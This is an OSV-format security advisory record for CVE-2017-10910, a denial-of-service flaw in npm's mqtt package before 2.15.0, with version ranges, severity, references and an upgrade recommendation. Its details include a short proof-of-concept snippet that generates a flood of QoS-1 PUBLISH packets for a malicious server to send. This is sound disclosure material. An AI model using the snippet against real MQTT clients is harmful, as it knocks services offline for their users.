原始 OSV JSON{
"id": "GHSA-h9mj-fghc-664w",
"aliases": [
"CVE-2017-10910"
],
"details": "Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.\n\nThe vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.\n\n## Proof of Concept\n\nThe following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.\n```\nvar mqttp = require('mqtt-packet');\nvar packets = [];\nfor(var i=0; i<=1000;i++){\n packets.push(\n mqttp.generate({\n cmd:'publish',\n topic:Buffer.from('hello'),\n payload:Buffer.from('world'),\n retain: false,\n dup: false, \n messageId: ++i, \n qos: 1\n })\n )\n}\n\n```\n\n\n## Recommendation\n\nUpdate to version 2.15.0 or later.",
"summary": "Denial of Service in mqtt",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.15.0"
}
]
}
],
"package": {
"name": "mqtt",
"ecosystem": "npm"
}
}
],
"modified": "2021-09-14T17:16:40Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
}
],
"published": "2017-12-28T22:51:58Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10910",
"type": "ADVISORY"
},
{
"url": "https://github.com/mqttjs/MQTT.js/commit/403ba53b838f2d319a0c0505a045fe00239e9923",
"type": "WEB"
},
{
"url": "https://github.com/advisories/GHSA-h9mj-fghc-664w",
"type": "ADVISORY"
},
{
"url": "https://github.com/mqttjs/MQTT.js",
"type": "PACKAGE"
},
{
"url": "https://github.com/mqttjs/MQTT.js/releases/tag/v2.15.0",
"type": "WEB"
},
{
"url": "https://github.com/nodejs/security-wg/blob/master/vuln/npm/357.json",
"type": "WEB"
},
{
"url": "https://jvn.jp/en/jp/JVN45494523/index.html",
"type": "WEB"
},
{
"url": "https://www.npmjs.com/advisories/555",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2020-06-16T21:39:48Z"
}
}